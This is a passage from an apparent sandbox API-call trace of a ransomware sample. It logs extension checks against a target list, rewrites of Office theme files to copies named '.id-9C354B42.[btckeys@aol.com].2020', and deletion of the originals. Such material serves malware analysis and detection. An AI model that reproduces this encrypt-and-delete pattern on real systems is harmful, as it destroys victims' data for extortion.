returned 1 [0081.342] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF") returned 75 [0081.342] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF") returned 75 [0081.342] lstrlenW (lpString=".doc") returned 4 [0081.342] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0081.342] lstrlenW (lpString=".docx") returned 5 [0081.342] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0081.342] lstrlenW (lpString=".pdf") returned 4 [0081.342] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0081.342] lstrlenW (lpString=".xls") returned 4 [0081.342] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0081.342] lstrlenW (lpString=".xlsx") returned 5 [0081.342] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0081.342] lstrlenW (lpString=".ppt") returned 4 [0081.342] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0081.342] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF") returned 75 [0081.342] lstrlenW (lpString=".zip") returned 4 [0081.342] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0081.342] lstrlenW (lpString=".rar") returned 4 [0081.342] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0081.342] lstrlenW (lpString=".bz2") returned 4 [0081.342] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0081.342] lstrlenW (lpString=".7z") returned 3 [0081.342] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0081.343] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF") returned 75 [0081.343] lstrlenW (lpString=".dbf") returned 4 [0081.343] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0081.343] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF") returned 75 [0081.343] lstrlenW (lpString=".1cd") returned 4 [0081.343] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0081.343] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF") returned 75 [0081.343] lstrlenW (lpString=".jpg") returned 4 [0081.343] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0081.343] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF") returned 75 [0081.343] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF") returned 75 [0081.343] lstrlenW (lpString=".doc") returned 4 [0081.343] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0081.343] lstrlenW (lpString=".docx") returned 5 [0081.343] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0081.343] lstrlenW (lpString=".pdf") returned 4 [0081.343] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0081.343] lstrlenW (lpString=".xls") returned 4 [0081.343] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0081.343] lstrlenW (lpString=".xlsx") returned 5 [0081.343] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0081.343] lstrlenW (lpString=".ppt") returned 4 [0081.343] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0081.343] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF") returned 75 [0081.343] lstrlenW (lpString=".zip") returned 4 [0081.344] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0081.344] lstrlenW (lpString=".rar") returned 4 [0081.344] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0081.344] lstrlenW (lpString=".bz2") returned 4 [0081.344] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0081.344] lstrlenW (lpString=".7z") returned 3 [0081.344] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0081.344] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF") returned 75 [0081.344] lstrlenW (lpString=".dbf") returned 4 [0081.344] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0081.344] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF") returned 75 [0081.344] lstrlenW (lpString=".1cd") returned 4 [0081.344] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0081.344] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF") returned 75 [0081.344] lstrlenW (lpString=".jpg") returned 4 [0081.344] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0081.344] lstrcmpiW (lpString1=".PNG", lpString2=".2020") returned 1 [0081.344] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0081.344] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0081.345] GetFileSizeEx (in: hFile=0x1d8, lpFileSize=0x2eeff1c | out: lpFileSize=0x2eeff1c*=18413) returned 1 [0081.345] CloseHandle (hObject=0x1d8) returned 1 [0081.345] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal\\thmbnail.png")) returned 0x20 [0081.345] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal\\thmbnail.png.id-9c354b42.[btckeys@aol.com].2020")) returned 0xffffffff [0081.345] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0081.345] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec8 | out: lpNewFilePointer=0x0) returned 1 [0081.346] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec8 | out: lpNewFilePointer=0x0) returned 1 [0081.346] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal\\thmbnail.png.id-9c354b42.[btckeys@aol.com].2020"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0081.346] GetLastError () returned 0x0 [0081.346] ReadFile (in: hFile=0x1d8, lpBuffer=0x3a70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2eefed4, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesRead=0x2eefed4*=0x47ed, lpOverlapped=0x0) returned 1 [0081.648] WriteFile (in: hFile=0x20c, lpBuffer=0x3a70020*, nNumberOfBytesToWrite=0x47f0, lpNumberOfBytesWritten=0x2eefc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesWritten=0x2eefc9c*=0x47f0, lpOverlapped=0x0) returned 1 [0081.649] ReadFile (in: hFile=0x1d8, lpBuffer=0x3a70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2eefed4, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesRead=0x2eefed4*=0x0, lpOverlapped=0x0) returned 1 [0081.649] WriteFile (in: hFile=0x20c, lpBuffer=0x3a70020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2eefc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesWritten=0x2eefc9c*=0xec, lpOverlapped=0x0) returned 1 [0081.650] SetEndOfFile (hFile=0x20c) returned 1 [0081.650] CloseHandle (hObject=0x20c) returned 1 [0081.650] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec8 | out: lpNewFilePointer=0x0) returned 1 [0081.650] SetEndOfFile (hFile=0x1d8) returned 1 [0081.651] CloseHandle (hObject=0x1d8) returned 1 [0081.652] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG.id-9C354B42.[btckeys@aol.com].2020", dwFileAttributes=0x20) returned 1 [0081.652] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal\\thmbnail.png")) returned 1 [0081.652] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG") returned 76 [0081.653] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG") returned 76 [0081.653] lstrlenW (lpString=".doc") returned 4 [0081.653] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0081.653] lstrlenW (lpString=".docx") returned 5 [0081.653] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0081.653] lstrlenW (lpString=".pdf") returned 4 [0081.653] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0081.653] lstrlenW (lpString=".xls") returned 4 [0081.653] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0081.653] lstrlenW (lpString=".xlsx") returned 5 [0081.653] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0081.653] lstrlenW (lpString=".ppt") returned 4 [0081.653] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0081.653] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG") returned 76 [0081.653] lstrlenW (lpString=".zip") returned 4 [0081.653] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0081.653] lstrlenW (lpString=".rar") returned 4 [0081.653] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0081.653] lstrlenW (lpString=".bz2") returned 4 [0081.653] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0081.653] lstrlenW (lpString=".7z") returned 3 [0081.653] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0081.653] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG") returned 76 [0081.653] lstrlenW (lpString=".dbf") returned 4 [0081.653] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0081.654] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG") returned 76 [0081.654] lstrlenW (lpString=".1cd") returned 4 [0081.654] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0081.654] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG") returned 76 [0081.654] lstrlenW (lpString=".jpg") returned 4 [0081.654] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0081.654] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG") returned 76 [0081.654] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG") returned 76 [0081.654] lstrlenW (lpString=".doc") returned 4 [0081.654] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0081.654] lstrlenW (lpString=".docx") returned 5 [0081.654] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0081.654] lstrlenW (lpString=".pdf") returned 4 [0081.654] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0081.654] lstrlenW (lpString=".xls") returned 4 [0081.654] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0081.654] lstrlenW (lpString=".xlsx") returned 5 [0081.654] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0081.654] lstrlenW (lpString=".ppt") returned 4 [0081.654] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0081.654] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG") returned 76 [0081.654] lstrlenW (lpString=".zip") returned 4 [0081.654] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0081.654] lstrlenW (lpString=".rar") returned 4 [0081.654] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0081.654] lstrlenW (lpString=".bz2") returned 4 [0081.655] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0081.655] lstrlenW (lpString=".7z") returned 3 [0081.655] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0081.655] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG") returned 76 [0081.655] lstrlenW (lpString=".dbf") returned 4 [0081.655] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0081.655] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG") returned 76 [0081.655] lstrlenW (lpString=".1cd") returned 4 [0081.655] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0081.655] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG") returned 76 [0081.655] lstrlenW (lpString=".jpg") returned 4 [0081.655] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0081.655] lstrcmpiW (lpString1=".PNG", lpString2=".2020") returned 1 [0081.655] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0081.655] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0081.656] GetFileSizeEx (in: hFile=0x1d8, lpFileSize=0x2eeff1c | out: lpFileSize=0x2eeff1c*=11573) returned 1 [0081.656] CloseHandle (hObject=0x1d8) returned 1 [0081.656] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network\\thmbnail.png")) returned 0x20 [0081.656] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network\\thmbnail.png.id-9c354b42.[btckeys@aol.com].2020")) returned 0xffffffff [0081.656] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0081.656] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec8 | out: lpNewFilePointer=0x0) returned 1 [0081.657] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec8 | out: lpNewFilePointer=0x0) returned 1 [0081.657] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network\\thmbnail.png.id-9c354b42.[btckeys@aol.com].2020"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0081.657] GetLastError () returned 0x0 [0081.657] ReadFile (in: hFile=0x1d8, lpBuffer=0x3a70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2eefed4, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesRead=0x2eefed4*=0x2d35, lpOverlapped=0x0) returned 1 [0081.659] WriteFile (in: hFile=0x20c, lpBuffer=0x3a70020*, nNumberOfBytesToWrite=0x2d40, lpNumberOfBytesWritten=0x2eefc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesWritten=0x2eefc9c*=0x2d40, lpOverlapped=0x0) returned 1 [0081.661] ReadFile (in: hFile=0x1d8, lpBuffer=0x3a70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2eefed4, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesRead=0x2eefed4*=0x0, lpOverlapped=0x0) returned 1 [0081.661] WriteFile (in: hFile=0x20c, lpBuffer=0x3a70020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2eefc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesWritten=0x2eefc9c*=0xec, lpOverlapped=0x0) returned 1 [0081.661] SetEndOfFile (hFile=0x20c) returned 1 [0081.661] CloseHandle (hObject=0x20c) returned 1 [0081.662] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec8 | out: lpNewFilePointer=0x0) returned 1 [0081.662] SetEndOfFile (hFile=0x1d8) returned 1 [0081.665] CloseHandle (hObject=0x1d8) returned 1 [0081.665] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG.id-9C354B42.[btckeys@aol.com].2020", dwFileAttributes=0x20) returned 1 [0081.665] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network\\thmbnail.png")) returned 1 [0081.665] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG") returned 76 [0081.665] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG") returned 76 [0081.665] lstrlenW (lpString=".doc") returned 4 [0081.666] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0081.666] lstrlenW (lpString=".docx") returned 5 [0081.666] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0081.666] lstrlenW (lpString=".pdf") returned 4 [0081.666] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0081.666] lstrlenW (lpString=".xls") returned 4 [0081.666] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0081.666] lstrlenW (lpString=".xlsx") returned 5 [0081.666] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0081.666] lstrlenW (lpString=".ppt") returned 4 [0081.666] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0081.666] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG") returned 76 [0081.666] lstrlenW (lpString=".zip") returned 4 [0081.666] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0081.666] lstrlenW (lpString=".rar") returned 4 [0081.666] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0081.666] lstrlenW (lpString=".bz2") returned 4 [0081.666] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0081.666] lstrlenW (lpString=".7z") returned 3 [0081.666] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0081.666] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG") returned 76 [0081.666] lstrlenW (lpString=".dbf") returned 4 [0081.666] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0081.666] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG") returned 76 [0081.666] lstrlenW (lpString=".1cd") returned 4 [0081.666] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0081.667] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG") returned 76 [0081.667] lstrlenW (lpString=".jpg") returned 4 [0081.667] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0081.667] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG") returned 76 [0081.667] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG") returned 76 [0081.667] lstrlenW (lpString=".doc") returned 4 [0081.667] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0081.667] lstrlenW (lpString=".docx") returned 5 [0081.667] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0081.667] lstrlenW (lpString=".pdf") returned 4 [0081.667] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0081.667] lstrlenW (lpString=".xls") returned 4 [0081.667] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0081.667] lstrlenW (lpString=".xlsx") returned 5 [0081.667] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0081.667] lstrlenW (lpString=".ppt") returned 4 [0081.667] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0081.667] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG") returned 76 [0081.667] lstrlenW (lpString=".zip") returned 4 [0081.667] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0081.667] lstrlenW (lpString=".rar") returned 4 [0081.667] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0081.667] lstrlenW (lpString=".bz2") returned 4 [0081.667] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0081.667] lstrlenW (lpString=".7z") returned 3 [0081.668] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0081.668] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG") returned 76 [0081.668] lstrlenW (lpString=".dbf") returned 4 [0081.668] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0081.668] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG") returned 76 [0081.668] lstrlenW (lpString=".1cd") returned 4 [0081.668] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0081.668] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG") returned 76 [0081.668] lstrlenW (lpString=".jpg") returned 4 [0081.668] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0081.668] lstrcmpiW (lpString1=".GIF", lpString2=".2020") returned 1 [0081.668] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0081.668] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0081.669] GetFileSizeEx (in: hFile=0x1d8, lpFileSize=0x2eeff1c | out: lpFileSize=0x2eeff1c*=2574) returned 1 [0081.669] CloseHandle (hObject=0x1d8) returned 1 [0081.669] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\preview.gif")) returned 0x20 [0081.669] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\preview.gif.id-9c354b42.[btckeys@aol.com].2020")) returned 0xffffffff [0081.669] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0081.670] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec8 | out: lpNewFilePointer=0x0) returned 1 [0081.670] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec8 | out: lpNewFilePointer=0x0) returned 1 [0081.670] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\preview.gif.id-9c354b42.[btckeys@aol.com].2020"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0081.672] GetLastError () returned 0x0 [0081.672] ReadFile (in: hFile=0x1d8, lpBuffer=0x3a70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2eefed4, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesRead=0x2eefed4*=0xa0e, lpOverlapped=0x0) returned 1 [0081.674] WriteFile (in: hFile=0x20c, lpBuffer=0x3a70020*, nNumberOfBytesToWrite=0xa10, lpNumberOfBytesWritten=0x2eefc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesWritten=0x2eefc9c*=0xa10, lpOverlapped=0x0) returned 1 [0081.676] ReadFile (in: hFile=0x1d8, lpBuffer=0x3a70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2eefed4, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesRead=0x2eefed4*=0x0, lpOverlapped=0x0) returned 1 [0081.676] WriteFile (in: hFile=0x20c, lpBuffer=0x3a70020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2eefc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesWritten=0x2eefc9c*=0xea, lpOverlapped=0x0) returned 1 [0081.676] SetEndOfFile (hFile=0x20c) returned 1 [0081.676] CloseHandle (hObject=0x20c) returned 1 [0081.676] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec8 | out: lpNewFilePointer=0x0) returned 1 [0081.676] SetEndOfFile (hFile=0x1d8) returned 1 [0081.682] CloseHandle (hObject=0x1d8) returned 1 [0081.682] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF.id-9C354B42.[btckeys@aol.com].2020", dwFileAttributes=0x20) returned 1 [0081.683] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft 